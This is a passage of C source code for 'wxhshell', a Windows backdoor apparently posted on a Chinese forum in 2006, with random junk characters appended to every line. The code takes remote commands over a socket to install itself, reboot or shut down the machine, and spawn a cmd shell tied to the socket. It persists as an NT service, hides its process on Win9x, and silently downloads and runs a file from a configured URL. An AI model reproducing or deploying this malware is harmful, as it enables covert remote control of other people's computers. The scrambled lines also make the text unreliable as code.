  else { &R3#? 1,  
p:xVi0  
    switch(cmd[0]) { w|:ev_c|  
  #kp +e)F  
  // 帮助 o`.5NUn  
  case '?': { %$F_oO7"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bp/25jy  
    break;  #zg"E<  
  } (H-kWT  
  // 安装 \J6&Z13Q  
  case 'i': { SHQgI<D7  
    if(Install()) z q@"qnr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9`Xr7gmQf  
    else DI=?{A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %JuT'7VB  
    break; W];l[D<S*  
    } YXIAVSnr  
  // 卸载 Wb;D9Z  
  case 'r': { =QhK|C!$A  
    if(Uninstall()) vAzSpiv-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (/C 8\}Ox  
    else AQ)J|i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #0c;2}D  
    break; lI;ACF^  
    } zd3^k<  
  // 显示 wxhshell 所在路径 ~N8$abQJV  
  case 'p': { m{by%  
    char svExeFile[MAX_PATH]; mA4]c   
    strcpy(svExeFile,"\n\r"); Q1P=A:*]9  
      strcat(svExeFile,ExeFile); l8+;)2p!  
        send(wsh,svExeFile,strlen(svExeFile),0); ft?c&h;At  
    break; hlGrnL  
    } .Ix[&+LsY  
  // 重启 iu QMVtv  
  case 'b': { ORhvo,.u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vOU9[n N[  
    if(Boot(REBOOT)) :_pn|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MLN+ BuS  
    else { vA*Q}]Ov  
    closesocket(wsh); >njX=r.  
    ExitThread(0); y>]Yq-  
    } BO'7c1FU  
    break; 2{4f>,][  
    } v8>bR|n5  
  // 关机 AL*M`m_  
  case 'd': { u_6x{",5I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jm,tN/o*  
    if(Boot(SHUTDOWN)) ;Mz7emt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \`-a'u=S  
    else { _z53r+A  
    closesocket(wsh); ITfz/d8  
    ExitThread(0); ?cB26Zrcb  
    } {=9"WN    
    break; (1Klj+"p%  
    } dg4q+  
  // 获取shell r?HbApV P  
  case 's': { GxA[N  
    CmdShell(wsh); QFIYnxY9  
    closesocket(wsh); 6b\JD.r*{  
    ExitThread(0); [n&SA]a  
    break; :i* =s}cv  
  } ;-8]  
  // 退出 SEIJ+u9XsA  
  case 'x': { yw*| HT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y/y`c-VO  
    CloseIt(wsh); z|O3pQn~  
    break; j {Sbf04  
    } F-GH?sfvi  
  // 离开 [m(n-Mu F  
  case 'q': { (PSL[P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w 9C?wT  
    closesocket(wsh); "/d  
    WSACleanup(); uVa`2]NV r  
    exit(1); YFeL#)5y  
    break; ))E| SAr  
        } U|+ c&TY  
  } 64t:  
  } !&R|P|7qN}  
a=M/0N{!  
  // 提示信息 8j}o\!H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4c@_u8  
} 1:Wl/9mL  
  } K1zH\wH  
+$#ytvDy  
  return; "-g5$v$de  
} ?7TuE!!M  
bkiMF$K,K  
// shell模块句柄 QUWx\hqE  
int CmdShell(SOCKET sock) {gI%-  
{ $j/#IzD1D  
STARTUPINFO si; BB.120v&N  
ZeroMemory(&si,sizeof(si)); drS>~lSxB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'k/:3?R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *&~ '  
PROCESS_INFORMATION ProcessInfo; ex8}./mjJ  
char cmdline[]="cmd"; *z)+'D*+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  BF /4  
  return 0; -V=,x3Zew  
} r}-vOPn`E  
smHQ'4x9  
// 自身启动模式 p:3 V-$4X  
int StartFromService(void) m3=Cg$n  
{ [midNC+,  
typedef struct v;d3uunqv  
{ d^I:{Ii'  
  DWORD ExitStatus; c=33O,_  
  DWORD PebBaseAddress; Z5,"KhB]  
  DWORD AffinityMask; ^tI4FQ>Y  
  DWORD BasePriority; x]vyt}oCmk  
  ULONG UniqueProcessId; Q$A;Fk}-  
  ULONG InheritedFromUniqueProcessId; .7> g8  
}   PROCESS_BASIC_INFORMATION; bZu2.?{  
tkW7wP;  
PROCNTQSIP NtQueryInformationProcess; =1zRm >m  
|l:,EA_v|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fHXz{,?/w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U _~r0  
9b)'vr*Hy7  
  HANDLE             hProcess; fk\hrVP  
  PROCESS_BASIC_INFORMATION pbi;  jRhRw;  
"89L^I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rAS2qt  
  if(NULL == hInst ) return 0; Vn?|\3KY  
69N8COLB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >Y;[+#H[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~z7Fz"o<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B !Z~jT  
Pa"[&{:  
  if (!NtQueryInformationProcess) return 0; -gpHg  
'25zb+ -  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <=@6UPsn2  
  if(!hProcess) return 0; Xw&vi\*m  
QsyM[;\j:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m.c2y6<=  
X)S4vqf}  
  CloseHandle(hProcess); Kc+TcC  
:.SwO<j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C^*}*hYk$  
if(hProcess==NULL) return 0; -+kTw06_C  
@-.Tgpe@a  
HMODULE hMod; n\u3$nGL1`  
char procName[255]; ~{q; - &  
unsigned long cbNeeded; i7\MVI 8  
Og?P5&C"9D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fnK H<  
wN:vI(C  
  CloseHandle(hProcess); sq+cF/jo6  
 !qTP  
if(strstr(procName,"services")) return 1; // 以服务启动 )npvy>C'(  
UDV6 ##$  
  return 0; // 注册表启动 9XX:_9|I  
} '3TfW61]  
51`*VR]`K  
// 主模块 _vUId?9@+e  
int StartWxhshell(LPSTR lpCmdLine) #-kx$(''V  
{ @[~j|YH}  
  SOCKET wsl; >[4CQK`U  
BOOL val=TRUE; a<P?4tbF  
  int port=0; RU\MT'E>(  
  struct sockaddr_in door; ? J6\?ct4  
Qk].^'\  
  if(wscfg.ws_autoins) Install(); 4_ kg/  
o(g}eP,g }  
port=atoi(lpCmdLine); =/(R_BFna  
wSG!.Ejc7  
if(port<=0) port=wscfg.ws_port; LNM#\fb  
+d=8/3O%  
  WSADATA data; Y 9@ 2d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9''x'E=|  
Os1=V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %QQJSake|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z%QU5.  
  door.sin_family = AF_INET; T.q7~ba*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oFp4* <\  
  door.sin_port = htons(port); 7$"n.cr :  
7|X.E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4']eJ==OH  
closesocket(wsl); 7&1 dr  
return 1; l42tTD8Awz  
} \!zM4ppr  
YeB)]$'?u`  
  if(listen(wsl,2) == INVALID_SOCKET) { /,JL \b  
closesocket(wsl); `\Te,  
return 1; !uAqY\Is  
} nI,-ftMD-|  
  Wxhshell(wsl); XF`?5G~~#  
  WSACleanup(); dQ_yb+<  
<+AvbqDe  
return 0; %h& F  
#%.fsJNA$  
} q!<n\X3]u  
~U1M -<IX  
// 以NT服务方式启动 fPab%>/T{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MR.c?P?0Q  
{ R'h.lX  
DWORD   status = 0; Y >U_l:_^  
  DWORD   specificError = 0xfffffff; /v7o!D1G  
no7Q%O9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [wM]w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5XinZ~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o| 9Mj71  
  serviceStatus.dwWin32ExitCode     = 0; sYd)r%%AU  
  serviceStatus.dwServiceSpecificExitCode = 0; d1u6*&@lf  
  serviceStatus.dwCheckPoint       = 0; c<5(c%a  
  serviceStatus.dwWaitHint       = 0; r^;1Sm  
~D_Wqr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u9G  
  if (hServiceStatusHandle==0) return; (XQ:f|(  
Sw~L M&A  
status = GetLastError(); hd#MV!ti  
  if (status!=NO_ERROR) LteZ7e  
{ ilkN3J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *iXaQuT  
    serviceStatus.dwCheckPoint       = 0; dd!Q[]$ }  
    serviceStatus.dwWaitHint       = 0; C$^WW}S  
    serviceStatus.dwWin32ExitCode     = status; d5qGTT ~a  
    serviceStatus.dwServiceSpecificExitCode = specificError; ""x>-j4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Frum@n  
    return; @P6*4W  
  } <4jqF 4 W  
'b Kc;\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +/!y#&C&*  
  serviceStatus.dwCheckPoint       = 0; }cERCS\t  
  serviceStatus.dwWaitHint       = 0; b*<Fi#x1=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Aw=GvCo<  
} 6}?5Oy_XF2  
BH2JH>'X  
// 处理NT服务事件,比如:启动、停止 Sj@VOW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2;`WI:nt  
{ DQ%(X&k  
switch(fdwControl) 1NQU96  
{ eRB K= X  
case SERVICE_CONTROL_STOP: "eR-(c1  
  serviceStatus.dwWin32ExitCode = 0; x1`zD*{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E\*M4n\!  
  serviceStatus.dwCheckPoint   = 0; @_Es|(4  
  serviceStatus.dwWaitHint     = 0; {{ +8oRzY  
  { #EIcP=1m4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \>c1Z5H>  
  } TS@U0Ror  
  return; iKAqM{(  
case SERVICE_CONTROL_PAUSE: 4[n[Ch=lu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; betTAbF  
  break; %(izKJl q  
case SERVICE_CONTROL_CONTINUE: - e_B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EL;OYW(  
  break; ]vZ}4Xno  
case SERVICE_CONTROL_INTERROGATE: k;pU8y6Y  
  break; Hw%lT}[O  
}; Dj x[3['  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  #-K,,"  
} s+&iH  
e/F+Tf  
// 标准应用程序主函数 zd?uMq;w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )KcY<K  
{ LqoH]AcN  
nVGWJ3  
// 获取操作系统版本 # &Z1d(!  
OsIsNt=GetOsVer(); c{wob%!>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?<D1] Xv  
ky@DH(^>  
  // 从命令行安装 apv"s+  
  if(strpbrk(lpCmdLine,"iI")) Install(); %p tw=Ju  
:0(:}V3z\  
  // 下载执行文件 "In$|A\?E  
if(wscfg.ws_downexe) { hXQo>t-$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |k=5`WG  
  WinExec(wscfg.ws_filenam,SW_HIDE); Lr<?eWdCwJ  
} okLhe F  
89a`WV@}  
if(!OsIsNt) { d2tJ=.DI  
// 如果时win9x,隐藏进程并且设置为注册表启动 48[b1#q]  
HideProc(); ?tf<AZ=+^L  
StartWxhshell(lpCmdLine); |eH*Q%M  
} yr34&M(a  
else xQ\S!py-  
  if(StartFromService()) \zV'YeG  
  // 以服务方式启动 T#D*B]oZ}  
  StartServiceCtrlDispatcher(DispatchTable); + wF5(  
else ki9vJ<  
  // 普通方式启动 NA9ss  
  StartWxhshell(lpCmdLine); jn#Ok@tZ  
n /Dk~Q)  
return 0; f}{Oj-:"CC  
}
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只看该作者 1 发表于: 2006-10-10
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